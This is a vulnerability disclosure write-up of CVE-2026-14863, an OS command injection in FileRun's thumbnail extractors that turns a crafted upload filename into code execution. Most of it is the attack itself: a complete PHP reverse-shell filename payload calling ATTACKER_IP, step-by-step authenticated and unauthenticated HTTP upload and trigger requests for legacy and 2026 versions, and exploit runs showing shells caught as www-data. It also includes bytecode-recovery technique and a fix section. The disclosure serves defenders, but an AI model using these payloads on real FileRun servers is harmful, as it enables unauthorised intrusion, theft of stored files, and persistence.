FileRun: When Your File Manager Runs Your Files
Table of Contents
Original disclosure: This research was coordinated and first published by VulnCheck: filerun-thumbnail-command-injection-rce. What you’re reading is the impolite version, because I like breaking things and knowledge should be shared.
Today VulnCheck is disclosing CVE-2026-14863, a Remote Code Execution in FileRun, a commercial self-hosted file sharing and sync platform. The underlying bug - OS Command Injection in the thumbnail extractors - can be exploited by any authenticated user with upload permission, or without credentials when a “file request” weblink exists and its token is known. It is being disclosed in accordance with VulnCheck’s coordinated vulnerability disclosure policy. The issue is confirmed on versions up to and including 2026.2.0 (the latest at time of writing); the thumbnail extractor bytecode is byte-for-byte identical between 2022.05.19 and 2026.2.0, meaning this code has not been touched in four years.
Severity: High, CVSS v4 8.7 (authenticated) / 9.2 (pre-auth via weblink), CWE-78 (OS Command Injection). A ZoomEye query for title="FileRun :: Login" reveals approximately 3,500 internet-facing FileRun instances.
TL;DR
FileRun generates thumbnails for uploaded media by shelling out to ffmpeg, ImageMagick, vips, and stl-thumb. The extractors build command strings by wrapping user-controlled file paths in double quotes, then pass them to PHP’s exec(). Double quotes in a POSIX shell do not prevent $() command substitution. The filename sanitizer blocks \"/*?<>| for filesystem safety but allows $(){}\`;&!~' - the full shell metacharacter toolkit. Upload a file named $(PAYLOAD).mp4, trigger a thumbnail, get RCE as www-data.
Two exploitation paths exist for this single vulnerability:
| Path | Auth | CVSS | Requests | Pre-condition |
|---|---|---|---|---|
| Authenticated | Any user with upload | 8.7 (v4) | 4 | Valid credentials + thumbnail extractor enabled in admin settings |
| Via file request weblink | None | 9.2 (v4) | 2 | Active “file request” weblink (allow_uploads=1) + knowledge of its 32-char random token + thumbnail extractor enabled in admin settings |
Configuration prerequisite: On a manual (non-Docker) installation, the thumbnail extractors are disabled by default. FileRun’s documentation states: “After installation, you will need to manually enable the use of these third-party utility programs in FileRun’s control panel, under Files - Thumbnails and preview.” However, the official Docker image auto-enables all extractors during installation via overwrite_install_settings.temp.php, which sets thumbnails_ffmpeg, thumbnails_imagemagick, thumbnails_vips, thumbnails_libreoffice, and thumbnails_stl to 1. Any FileRun instance deployed with the official Docker image has all vulnerable code paths reachable out of the box.
Both paths converge on the exact same vulnerable code: extractor::execute() calling exec($cmd . " 2>&1").
Background
I recently published research on MonstaFTP, and after that I started mapping out its competitors - file managers, sync platforms, self-hosted storage solutions - looking for my next target. FileRun was one of many that showed up on that list.
The motivation was deliberate. In an era where open-source codebases are getting shredded by AI-assisted auditing - where every researcher and their LLM is grepping the same GitHub repos and finding the same bugs - I wanted to go after harder targets. Systems where the source is not one git clone away. Freemium products with demo instances, commercial software with trial downloads, ionCube-encoded PHP where you cannot just ctrl+F for exec(. The barrier to entry is higher, which means fewer eyes have looked, which means the bugs that are there have been there longer.
FileRun is a commercial file hosting platform that positions itself as a simpler alternative to Nextcloud and ownCloud, which, per their homepage, has been trusted since 2003 by Fortune 500 companies including Apple, Porsche, Cisco, Toyota, Mitsubishi Motors, Suzuki, Pandora, and Brother. It runs on the standard PHP/MySQL stack with nginx or Apache, supports WebDAV, and provides a polished web UI with media preview, sharing, and collaboration features. FileRun supports both Linux and Windows deployments, but all research for this writeup was conducted on Linux - because Linux is life.
Like most file managers, FileRun generates thumbnail previews for uploaded media. Video files get a frame extracted by ffmpeg. Images go through ImageMagick. 3D models use stl-thumb. The pattern is always the same: construct a shell command string, embed the file path, and pass it to exec(). On a manual installation, these thumbnail extractors are disabled by default and must be enabled from the control panel. However, the official Docker image auto-enables all of them during setup via an install settings override file (overwrite_install_settings.temp.php), meaning Docker-based deployments have every vulnerable extractor active out of the box.
There is a significant complication worth discussing upfront: FileRun’s PHP source code is not readable. The entire system/classes/ directory - where all the business logic lives, including the thumbnail extractors, the filename sanitizer, and the upload handlers - is compiled with ionCube v15. Opening any of these files shows the ionCube loader stub, not PHP source. Understanding this vulnerability required recovering the logic from bytecode.
Recovering the Source: ionCube Bytecode Analysis
ionCube-encoded files are opaque by design. The encoder compiles PHP to proprietary bytecode and wraps it with a loader stub that decodes it at runtime. There are no public decompilers for ionCube v15 that produce reliable output. But the PHP runtime itself offers a way in.
When the ionCube loader decodes and executes an encoded file, the resulting classes and functions exist as normal PHP objects in memory. PHP’s Reflection API can inspect them: ReflectionClass, ReflectionMethod, ReflectionProperty, and ReflectionFunction all work on ionCube-decoded classes. They expose method signatures, parameter names and types, default values, property definitions, and class hierarchies - everything except the method bodies.
The technique is straightforward: load the ionCube loader in a CLI PHP script, include_once the encoded file to trigger decoding, then reflect the resulting classes:
<?php
// Load the specific encoded file
include_once '/var/www/html/system/classes/vendor/FileRun/Thumbs/Extractors/ffmpeg.php';
$rc = new ReflectionClass('FileRun\Thumbs\Extractors\ffmpeg');
foreach ($rc->getMethods() as $m) {
echo $m->getName() . "(";
echo implode(', ', array_map(function($p) {
$s = '';
if ($p->hasType()) $s .= $p->getType() . ' ';
$s .= '$' . $p->getName();
if ($p->isDefaultValueAvailable()) $s .= ' = ' . var_export($p->getDefaultValue(), true);
return $s;
}, $m->getParameters()));
echo ")\n";
}
This gives us the class structure, inheritance chain, and method signatures. For the actual behavior inside method bodies, we combine Reflection data with runtime tracing: inserting logging shims (replacing ffmpeg with a bash wrapper that logs its arguments), probing with specially crafted inputs, and observing the output. Between the Reflection-recovered structure and the behavioral observations, we can reconstruct the vulnerable logic with high confidence.
A crucial Reflection finding for this research: the extractor base class has an execute method whose signature is execute(string $cmd). That single parameter tells us the extractors are building complete command strings and handing them to a generic executor - exactly the pattern that leads to injection when user input reaches the command string.
The Vulnerable Code Path
Through bytecode recovery, we reconstructed the call chain from file upload to command execution. Both exploitation paths converge on the same code:
[trigger] -> FileRun\Files\Actions\Thumbnail::show($fileData, $opts)
-> FileRun\Thumbs\Extract::extract($fileData, $opts)
-> FileRun\Thumbs\Extractors\ffmpeg::extract($src, $thumbOpt)
-> FileRun\Thumbs\Extractors\extractor::execute($cmd)
-> exec($cmd . " 2>&1")
The Extractor: Building the Command
The ffmpeg extractor builds its command by concatenating the source file path into a double-quoted string:
// FileRun\Thumbs\Extractors\ffmpeg::extract() - bytecode recovery
$cmd = "ffmpeg -y -noaccurate_seek -ss 1 -i \"" . $filepath . "\" -frames:v 1 -filter:v "
. "scale=w=" . $w . ":h=" . $h . ":force_original_aspect_ratio=decrease "
. "\"" . $target . "\"";
The same pattern appears in every extractor:
// ImageMagick
$cmd = "magick convert -size ... \"" . $filepath . "[0]\" ...";
// vips
$cmd = "vipsthumbnail \"" . $filepath . "\" --size ...";
// stl-thumb
$cmd = "stl-thumb -f PNG \"" . $filepath . "\" ...";
The Executor: Passing to the Shell
The base extractor class provides the execute() method that all extractors call:
// FileRun\Thumbs\Extractors\extractor::execute()
public function execute(string $cmd) {
exec($cmd . " 2>&1", $return_text, $return_code);
// ...
}
PHP’s exec() invokes /bin/sh -c <command>, which means the full POSIX shell grammar applies. Double quotes do not suppress $() command substitution, backtick expansion, or variable interpolation. They only prevent word splitting and globbing. This is a fundamental property of shell quoting that catches developers regularly: double quotes protect filenames with spaces, but they are not a security boundary.
The Sanitizer: What Gets Through
FileRun sanitizes uploaded filenames through CleanPaths::$illegalChars, a character blocklist. Here is what it blocks:
Blocked: \ " / * ? < > |
These are filesystem-unsafe characters - path separators, wildcards, pipe, and the characters Windows rejects. This is a reasonable blocklist for preventing path traversal and filesystem issues. But it was never designed for shell safety. The characters it lets through include:
Allowed: $ ( ) { } ` ; & ! ~ ' [space]
This is the complete shell injection toolkit:
$()- command substitution (POSIX)`- command substitution (legacy);- command separator&- background execution'- string quoting${}- parameter expansion!- history expansion (interactive shells)~- home directory expansion
We only need $() for this exploit, but the blocklist gap is far wider than the minimum required.
The Combination
When a user uploads a file named $(id).mp4:
- The filename passes the sanitizer - no blocked characters
move_uploaded_file()stores it on disk with that exact name:/user-files/superuser/$(id).mp4- Thumbnail generation builds the command:
ffmpeg -y -noaccurate_seek -ss 1 -i "/user-files/superuser/$(id).mp4" -frames:v 1 "/tmp/thumb.png" 2>&1
exec()passes this to/bin/sh, which evaluates$(id)as command substitution- The
idcommand runs as www-data
The injection executes before ffmpeg sees the argument. ffmpeg itself is never the problem - the shell parses the $() construct, executes the inner command, and substitutes the output before ffmpeg is invoked. The result is arbitrary command execution as the web server user.
Building the Reverse Shell Payload
Going from $(id) to a reverse shell introduces three constraints:
Constraint 1: No double quotes or backslashes. The sanitizer blocks both. This rules out most one-liners that use quoting to handle special characters.
Constraint 2: 255-byte filename limit. ext4 enforces a 255-byte maximum on filenames. PHP’s move_uploaded_file() silently fails for longer names. The payload must fit.
Constraint 3: Shell variable expansion inside $(). The $() construct is evaluated by the shell, so any $variable inside it gets expanded before the inner command runs. A naive php -r '$sock = fsockopen(...)' would have $sock expanded to an empty string by the shell before PHP sees it.
The solution uses three techniques:
${IFS} for Spaces
The filename is stored on disk, so spaces in the filename are literal spaces - but we want them to act as argument separators inside the $() command substitution. We replace spaces with ${IFS}, which the shell expands to the Internal Field Separator (space, tab, newline by default). This works because ${IFS} is evaluated during the shell’s command substitution pass:
$(php${IFS}-r${IFS}CODE${IFS}ARGS)
The shell sees this as: php -r CODE ARGS - exactly what we want.
Single Quotes for PHP Code Protection
Inside the $(), we wrap the PHP code in single quotes. Single quotes in a POSIX shell prevent all expansion - no $variable substitution, no $() nesting, no backtick expansion. The PHP code survives intact:
$(php${IFS}-r${IFS}'$s=fsockopen($argv[1],$argv[2]);...')
The shell sees $s, $argv[1], etc. as literal characters (protected by single quotes) and passes them to PHP as-is. PHP then interprets them as PHP variables.
$argv for Parameter Passing
Instead of hardcoding the IP and port inside the PHP code (which would require them inside the single-quoted section where they would be literal), we pass them as CLI arguments after the PHP code. PHP’s $argv array receives them:
$(php${IFS}-r${IFS}'...fsockopen($argv[1],$argv[2])...'${IFS}10.0.0.1${IFS}4444)
PHP receives: $argv[0] = (standard input), $argv[1] = 10.0.0.1, $argv[2] = 4444.
The Complete Payload
Putting it all together, the malicious filename is:
$(php${IFS}-r${IFS}'$s=fsockopen($argv[1],$argv[2]);fclose(STDOUT);while($c=fgets($s)){exec($c,$o);fwrite($s,join($o));$o=[];}'${IFS}ATTACKER_IP${IFS}PORT${IFS}&).<rand>.mp4
The body closes stdout and backgrounds itself with &, so the thumbnail request returns the instant the shell forks instead of hanging on the open socket. A random suffix on the name keeps a repeat run from landing on an already-cached thumbnail (FileRun caches each preview under a per-directory .filerun.thumbnails/<filename>/ folder, so a given payload name only ever detonates once).
About 175 bytes with a real IP, inside the 255-byte budget. The file content only needs a valid ftyp box so FileRun’s media detection accepts it as a video; the injection is in the name, not the contents:
content = b"\x00\x00\x00\x20ftypiso\x00\x00\x02\x00isomiso2avc1mp41"
content += b"\x00" * 32000
Scenario 1: Authenticated RCE (CVSS v4 8.7)
Any authenticated user with upload permission (the default for all users) can exploit this in four HTTP requests.
Step 1: Authenticate
POST /?module=fileman&page=login&action=login HTTP/1.1
Content-Type: application/x-www-form-urlencoded
username=user&password=pass
Response sets a session cookie. Any user account works - upload permission is granted by default.
Step 2: Resolve Home Folder
GET /?module=fileman§ion=get&page=grid&path=/ROOT/HOME/ HTTP/1.1
Cookie: FileRunSID=...
Response returns the user’s home folder name (e.g. superuser), needed for the upload path.
Step 3: Upload the Malicious File
FileRun uses the Flow.js chunked upload protocol. The upload requires two requests: an offset query (asking the server where to resume), then the actual chunk:
POST /?module=fileman§ion=do&page=up HTTP/1.1
Cookie: FileRunSID=...
Content-Type: application/x-www-form-urlencoded
flowGetOffset=1&flowTotalSize=32032&flowFilename=$(php${IFS}-r${IFS}'...'${IFS}IP${IFS}PORT).mp4&path=/ROOT/HOME/superuser/
POST /?module=fileman§ion=do&page=up HTTP/1.1
Cookie: FileRunSID=...
Content-Type: multipart/form-data; boundary=...
flowTotalSize=32032&flowIsFirstChunk=1&flowIsLastChunk=1&flowFilename=$(php...).mp4&path=/ROOT/HOME/superuser/
file=(binary content with ftyp header)
The server stores the file on disk with the malicious filename intact.
Step 4: Trigger Thumbnail Generation
The most reliable trigger is the troubleshoot_thumb diagnostic endpoint:
POST /?module=file_cpanel§ion=default&page=troubleshoot_thumb HTTP/1.1
Cookie: FileRunSID=...
Content-Type: application/x-www-form-urlencoded
path=/ROOT/HOME/superuser/$(php${IFS}-r${IFS}'...'${IFS}IP${IFS}PORT).mp4
This endpoint forces immediate ffmpeg execution and blocks until the command completes. The server runs:
ffmpeg -loglevel debug -y -noaccurate_seek -ss 1 \
-i "/user-files/superuser/$(php -r '...' IP PORT).mp4" \
-frames:v 1 -filter:v scale=w=400:h=400:force_original_aspect_ratio=decrease \
"/user-files/superuser/.filerun.thumbnails/$(php...).mp4/extracted.png" 2>&1
The shell evaluates $(php -r '...' IP PORT), PHP connects back to the attacker’s listener, and the reverse shell is established.
Other triggers also work: browsing the folder in the web UI (thumbnails are generated on demand), or the background cron thumbnail worker. The troubleshoot_thumb endpoint is just the most deterministic.
Reproduction
Note: The Python PoCs are not published per my VulnCheck contract.
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: run the exploit
python3 poc_exploit.py -t http://TARGET:8089 -u superuser -p PASSWORD --lhost ATTACKER_IP --lport 4444
_____ _ _ ____
| ___(_) | ___| _ \ _ _ _ __
| |_ | | |/ _ \ |_) | | | | '_ \
| _| | | | __/ _ <| |_| | | | |
|_| |_|_|\___|_| \_\\__,_|_| |_|
[*] Target: http://TARGET:8089
[*] User: superuser
[*] Authenticating...
[+] Authenticated
[+] Home path: /ROOT/HOME/superuser/
[*] Payload: $(php${IFS}-r${IFS}'...'${IFS}172.17.0.1${IFS}4444).mp4
[*] Uploading malicious file...
[+] Upload successful
[*] Listening on 172.17.0.1:4444...
[*] Triggering thumbnail generation...
[+] Shell from 172.17.0.3:42816
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
Scenario 2: Pre-Auth RCE via File Request Weblink (CVSS v4 9.2)
FileRun has a “file request” feature: users can create weblinks with allow_uploads=1 that let external parties upload files to a specific folder without a FileRun account. This is a documented, intended feature for receiving documents from clients, collecting submissions, etc. Regular download/sharing weblinks are not affected - they do not accept uploads.
The attack requires knowing the weblink’s 32-character random token (id_rnd column, varchar(50), drawn from [a-zA-Z0-9]). The keyspace is 62^32, making brute force impractical. However, these tokens are URLs designed to be distributed to third parties and commonly appear in emails, Slack messages, client portals, and shared documents. Attack complexity is rated AC:H because the attacker needs prior knowledge of a specific token.
Step 1: Upload via Anonymous Weblink Endpoint
The public upload endpoint requires no authentication - only the weblink token:
POST /?module=weblinks§ion=public&page=upload HTTP/1.1
Content-Type: multipart/form-data; boundary=...
id=NMO4dQ7sWZMo7nPPNxTodAJNNDKCnqYy
flowFilename=$(php${IFS}-r${IFS}'...'${IFS}ATTACKER_IP${IFS}PORT).mp4
flowTotalSize=32032
flowIsFirstChunk=1
flowIsLastChunk=1
file=(binary content)
No cookies, no session, no credentials. The weblink token in the id field is the only authorization. The filename goes through the same CleanPaths sanitizer (which allows $()) and gets stored on disk with the malicious name.
Step 2: Self-Trigger Thumbnail Generation
This is the critical discovery that makes the weblink path self-contained. The attacker does not need to wait for the file owner to browse the folder or for a cron job to run. The weblink’s public folder listing page serves thumbnails on demand:
GET /wl/?id=NMO4dQ7sWZMo7nPPNxTodAJNNDKCnqYy&path=$(php${IFS}...).mp4&mode=grid&thumbnail=1 HTTP/1.1
This URL is publicly accessible - it is how the weblink listing page loads thumbnails for visitors. When requested, FileRun calls FileRun\Files\Actions\Thumbnail::show() with the requested file, which triggers the same ffmpeg execution chain. The request flows through:
weblinks/public/php/includes/thumbnail.php (line 6)
-> FileRun\Files\Actions\Thumbnail::show()
-> FileRun\Thumbs\Extract::extract()
-> FileRun\Thumbs\Extractors\ffmpeg::extract()
-> FileRun\Thumbs\Extractors\extractor::execute()
-> exec($cmd . " 2>&1")
The server executes:
ffmpeg -y -noaccurate_seek -ss 1 \
-i "/user-files/superuser/$(php -r '...' IP PORT).mp4" \
-frames:v 1 -filter:v scale=w=400:h=400:force_original_aspect_ratio=decrease \
"/user-files/superuser/.filerun.thumbnails/$(php...).mp4/extracted.png" 2>&1
Two HTTP requests. No credentials. Full RCE as www-data.
Same Sink Verification
We verified that both paths execute through the exact same vulnerable code by replacing the ffmpeg binary with a logging shim that records every invocation:
# Inside the container
mv /usr/bin/ffmpeg /usr/bin/ffmpeg.real
cat > /usr/bin/ffmpeg << 'SHIM'
#!/bin/bash
echo "[$(date)] ARGS: $@" >> /tmp/ffmpeg_trace.log
exec /usr/bin/ffmpeg.real "$@"
SHIM
chmod +x /usr/bin/ffmpeg
Authenticated trigger (via troubleshoot_thumb):
ffmpeg -loglevel debug -y -noaccurate_seek -ss 1 -i /user-files/superuser/auth_trace.mp4 \
-frames:v 1 -filter:v scale=w=400:h=400:force_original_aspect_ratio=decrease \
/user-files/superuser/.filerun.thumbnails/auth_trace.mp4/extracted.png
Weblink trigger (via /wl/?id=TOKEN&path=FILE&thumbnail=1):
ffmpeg -y -noaccurate_seek -ss 1 -i /user-files/superuser/wl_trace.mp4 \
-frames:v 1 -filter:v scale=w=400:h=400:force_original_aspect_ratio=decrease \
/user-files/superuser/.filerun.thumbnails/wl_trace.mp4/extracted.png
The only difference: the authenticated path adds -loglevel debug because troubleshoot_thumb is a diagnostic endpoint that enables verbose logging. The file path handling, the double-quote wrapping, the exec() call - all identical. Same sink, same bug, one CVE.
Pre-conditions and Realistic Scenarios
This path requires two things: (1) a “file request” weblink with allow_uploads=1 must exist on the target, and (2) the attacker must know its 32-character token.
Not every FileRun deployment uses file request weblinks, and not every weblink has uploads enabled. But for those that do, the tokens are URLs designed to be shared:
- Emailed to clients with “please upload your documents here”
- Posted in internal Slack channels or portals
- Embedded in client-facing web pages
- Shared in project management tools
Any leak of the URL gives an attacker everything they need for unauthenticated RCE.
Reproduction
Note: The Python PoCs are not published per my VulnCheck contract.
# Terminal 1: start a listener
nc -lvnp 4444
# Terminal 2: run the exploit
python3 poc_unauth.py -t http://TARGET:8089 -w WEBLINK_TOKEN --lhost ATTACKER_IP --lport 4444
_____ _ _ ____
| ___(_) | ___| _ \ _ _ _ __
| |_ | | |/ _ \ |_) | | | | '_ \
| _| | | | __/ _ <| |_| | | | |
|_| |_|_|\___|_| \_\\__,_|_| |_|
Pre-Auth RCE via Public Upload Weblink
Two requests. Zero credentials. Full shell.
[*] Target: http://TARGET:8089
[*] Weblink: NMO4dQ7sWZMo7nPPNxTodAJNNDKCnqYy
[*] Step 1: Uploading malicious file via public weblink (NO AUTH)...
[+] Upload successful - file stored with malicious filename
[*] Listening on 172.17.0.1:4444...
[*] Step 2: Triggering thumbnail generation via public weblink URL...
[+] Shell from 172.17.0.3:50622
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
What Changed in FileRun 2026.2.0
FileRun 2026 is a complete rewrite of the frontend and API layer. The old ?module=X§ion=Y&page=Z routing is replaced by a SPA with RESTful endpoints under /index.php/app/. The underlying thumbnail extraction code is unchanged - same double-quoted exec(), same $() injection - but the upload and trigger mechanisms differ significantly.
Tighter Filename Sanitizer
The 2026 sanitizer blocks substantially more characters than previous versions:
Blocked (2026): \ " / * ? < > | ; & ` ' # [space] - = : , @ ~ ! + % ^ [ ]
Allowed (2026): $ ( ) { }
The old sanitizer allowed the full shell metacharacter toolkit ($(){}\;&!~‘and spaces). The 2026 sanitizer strips almost everything - but critically, it still allows$, (, ), {, and }. This is the minimum set needed for $()command substitution and${IFS}` argument separation. The tighter sanitizer does not stop the exploit.
New Upload Endpoint
The 2026 upload uses a PUT request with a raw binary body:
PUT /index.php/app/Drive/ui/!actions/up?path=/ROOT/WL/TOKEN&filePath=/ROOT/WL/TOKEN/PAYLOAD.mp4&startByte=0 HTTP/1.1
X-CSRF-TOKEN: <csrf>
Content-Type: application/octet-stream
Cookie: Drive[token]=<session>
<binary file content>
The session is established by visiting /wl/?id=TOKEN (sets the Drive[token] cookie), then fetching / to obtain the CSRF token from FR.csrf in the page JavaScript.
Trigger: Cron Instead of Self-Trigger
The most significant change is how thumbnail generation is triggered. In the old version, the public weblink listing page served thumbnails on demand - the attacker could upload a malicious file and immediately request its thumbnail through the same weblink. In 2026, the weblink roles are separated:
uploaderrole: can upload files, cannot view or download them (thumbnail requests return 500)viewerrole: can view and download files, cannot upload
No single weblink role combines upload and view. The file request feature creates an uploader weblink by design. This means the attacker cannot self-trigger thumbnail generation through the weblink after uploading.
However, FileRun’s documented deployment includes cron jobs. The make_thumbs.php cron recursively generates thumbnails for all user files. In a standard deployment where the admin has enabled ffmpeg thumbnails (which they would, since they installed ffmpeg), this cron runs periodically. When it processes the attacker’s malicious filename, ffmpeg is invoked via exec() with the $() payload, and the command executes.
The attack chain becomes:
- Upload a malicious .mp4 filename via the file request weblink (unauthenticated)
- Wait for
make_thumbs.phpcron to process the file (automatic, no user interaction) - ffmpeg executes via
exec(), shell evaluates$(), reverse shell connects
From the attacker’s perspective, this is still fully unauthenticated - they upload and wait. The cron is part of the standard server infrastructure, not an attacker action.
2026 Pre-Auth PoC
Note: The Python PoCs are not published per my VulnCheck contract.
python3 poc_2026.py -t http://TARGET -w WEBLINK_TOKEN --lhost ATTACKER_IP --lport 4444
_____ _ _ ____
| ___(_) | ___| _ \ _ _ _ __
| |_ | | |/ _ \ |_) | | | | '_ \
| _| | | | __/ _ <| |_| | | | |
|_| |_|_|\___|_| \_\\__,_|_| |_|
FileRun 2026.2.0 - Pre-Auth RCE
File Request Upload + Thumbnail Cron
[*] Target: http://TARGET
[*] Weblink: 528291b4a37167e7f40ee1bfc8f3bbf3
[*] Step 1: Establishing weblink session...
[+] Session established, CSRF obtained
[*] Step 2: Uploading malicious file via file request (NO AUTH)...
[+] Upload successful - file stored with malicious filename
[*] Listening on ATTACKER_IP:4444...
[*] Step 3: Waiting for make_thumbs.php cron to trigger ffmpeg...
[+] Shell from 172.28.0.3:36778
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
How It Detonates
FileRun rewrote its front end across the versions this bug spans, and the trigger moved with it while the sink stayed put. On the older ?module= app, the payload arrives through a Flow.js multipart upload and the thumbnail renders inline: the public weblink listing accepts a &thumbnail=1, or an authenticated user hits the troubleshoot_thumb diagnostic, and the extractor runs on that same request. The shell comes back in the same round trip.
The 2026 single-page rewrite moved the upload to a Drive API PUT (/index.php/app/Drive/ui/!actions/up) and stopped rendering thumbnails on the request that stores the file. An uploader-role weblink session can no longer force a render at all; the preview is generated later, either when the folder is next browsed (the SPA asks for thumbnails as it draws a listing) or out of band by FileRun’s cron/make_thumbs.php batch job, which FileRun ships for exactly that and busier deployments run on a schedule. Same extractor, same exec(), but the detonation is deferred past the attacker’s own request rather than fired by it.
FileRun caches each preview under a per-directory .filerun.thumbnails/<filename>/ folder, so a given payload name only ever detonates once; re-running against the same host needs a fresh name, which is why every upload carries a random suffix.
Lab Setup
Pre-2026 Lab (FileRun 2022.05.19)
A self-contained Docker lab is provided with both PoCs. The lab uses the mrizkihidayat66/filerun image (FileRun 2022.05.19 free edition) with MariaDB 10.5:
git clone <repo>
cd lab/
docker compose up -d
# Wait ~30s for initialization
# Scenario 1: Authenticated
python3 exploit.py -t http://localhost:8089 -u superuser -p a6fe5218b55f \
--lhost 172.17.0.1 --lport 4444
# Scenario 2: Pre-auth (requires a file request weblink)
python3 poc_unauth.py -t http://localhost:8089 -w WEBLINK_TOKEN \
--lhost 172.17.0.1 --lport 4444
FileRun 2026.2.0 Lab
The 2026 lab builds from the FileRun 2026.2.0 zip (requires a valid license) and automatically seeds the environment with ffmpeg thumbnails enabled and a file request weblink:
cd lab-2026/
# Place FileRun-2026.2.0-PHP-8.3.zip and set FR_LICENSE_DATA in docker-compose.yml
docker compose up -d
# Wait ~60s, then check the weblink token in the logs:
docker logs filerun-lab-web-1 | grep Weblink
python3 ../poc_2026.py -t http://localhost:8080 -w WEBLINK_TOKEN \
--lhost $(docker network inspect filerun-lab_default --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}') \
--lport 4444
The --lhost must be an IP reachable from the container. On default Docker setups, the bridge IP 172.17.0.1 works. Check with ip addr show docker0.
Impact
In the authenticated scenario (CVSS v4 8.7), any FileRun user with upload permission - which is granted to all users by default - can achieve full remote code execution as the web server user (www-data). No elevated privileges or admin access required.
In the weblink scenario (CVSS v4 9.2, AC:H), an attacker who knows the token of a “file request” weblink can achieve the same result without any credentials. From a www-data shell:
- Read all user files stored in FileRun, across all accounts
- Access the database (credentials are in the FileRun configuration files)
- Pivot to other services on the same host or network
- Persist via webshells, cron jobs, or SSH key injection
Fix
The root cause is passing user-controlled data to exec() without shell escaping. PHP has escapeshellarg() for exactly this:
- $cmd = "ffmpeg ... -i \"" . $filepath . "\" ...";
+ $cmd = "ffmpeg ... -i " . escapeshellarg($filepath) . " ...";
escapeshellarg() wraps the argument in single quotes and escapes any embedded single quotes, which prevents all shell metacharacter interpretation.
A better approach avoids the shell entirely using proc_open() with an explicit argument array:
$descriptors = [1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$proc = proc_open(
['ffmpeg', '-y', '-noaccurate_seek', '-ss', '1', '-i', $filepath,
'-frames:v', '1', '-filter:v', $filter, $target],
$descriptors, $pipes
);
With an argument array, PHP passes each element directly to the program via execvp() without invoking a shell at all. No shell means no metacharacter interpretation, regardless of what characters appear in the filename.
The fix must be applied to all four extractors (ffmpeg, ImageMagick, vips, stl-thumb) and any other code path that passes user-controlled data to shell commands.
As defense in depth, extending the filename sanitizer to block $(){}\;&!~would prevent this class of attack even if a new unescaped shell-out is added later - butescapeshellarg()orproc_open()` with argv arrays is the real fix.
Initial Access Exploit
VulnCheck’s Initial Access Intelligence team turned this into a self-contained go-exploit module. It fingerprints the FileRun generation, pushes the command substitution filename through whichever delivery the target expects (the legacy weblink form or the 2026 Drive API), detonates it (inline on the legacy self-trigger, or by waiting out the deferred render on 2026), and catches the connect-back, with no credentials needed when a weblink token is known:
chocapikk@pwntoaster:~/feed/cve-2026-14863$ ./build/cve-2026-14863_linux-amd64 -v -rhost 192.168.192.3 -rport 80 -lhost 192.168.192.1 -lport 4502 -c2 SimpleShellServer -weblink tUXcyKT6IdJbtLuKS8WYIve4DNbamFHW -e
time=2026-08-12T01:40:40.256+02:00 level=STATUS msg="Starting listener on 192.168.192.1:4502"
time=2026-08-12T01:40:40.256+02:00 level=STATUS msg="Starting target" index=0 host=192.168.192.3 port=80 ssl=false "ssl auto"=false
time=2026-08-12T01:40:40.257+02:00 level=STATUS msg="Validating FileRun target" host=192.168.192.3 port=80
time=2026-08-12T01:40:40.295+02:00 level=SUCCESS msg="Target verification succeeded!" host=192.168.192.3 port=80 verified=true
time=2026-08-12T01:40:40.324+02:00 level=STATUS msg="Detected FileRun legacy endpoints"
time=2026-08-12T01:40:40.361+02:00 level=SUCCESS msg="Uploaded the payload filename through the file-request weblink"
time=2026-08-12T01:40:40.361+02:00 level=STATUS msg="Firing the connect-back payload via the public weblink thumbnail"
time=2026-08-12T01:40:40.423+02:00 level=SUCCESS msg="Caught new shell from 192.168.192.3:54792"
time=2026-08-12T01:40:40.423+02:00 level=STATUS msg="Active shell from 192.168.192.3:54792"
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
time=2026-08-12T01:40:40.444+02:00 level=SUCCESS msg="Caught new shell from 192.168.192.3:54796"
exit
time=2026-08-12T01:40:41.362+02:00 level=SUCCESS msg="Exploit successfully completed" exploited=true
Timeline
| Date | Event |
|---|---|
| 2026-07-05 | Vulnerability discovered during FileRun thumbnail code audit (ionCube bytecode recovery) |
| 2026-07-05 | Authenticated and pre-auth RCE reproduced end to end in a Docker lab |
| 2026-07-06 | CVE-2026-14863 assigned by VulnCheck; vendor coordination initiated |
| 2026-07-06 | Vendor released the fix in FileRun 2026.2.1 |
| 2026-08-13 | Public disclosure |
| 2026-08-14 | Full technical write-up published (this post) |
FileRun shipped the fix in 2026.2.1, released the same day the bug reached the vendor.
Further reading: For another VulnCheck Initial Access Intelligence deep-dive, read Aimy Captcha-Less Form Guard: The Anti-Bot Plugin That Hands Bots the Keys.
About VulnCheck
VulnCheck empowers organizations to transcend the challenges of vulnerability prioritization. Our suite of solutions provides product managers, PSIRT teams, and threat hunters with the tools required for accelerated, high-precision operations and infinite efficiency.
Recognizing the industry-wide necessity for superior data velocity and accuracy, we deliver high-fidelity insights to the market. We remain committed to surfacing critical intelligence on vulnerability exploitation and emerging trends, leveraging our unique dataset to support the practitioner community.
To deepen your understanding of these threats, VulnCheck Exploit & Vulnerability Intelligence provides comprehensive coverage of global threat actors. Register for a demo to explore our intelligence today.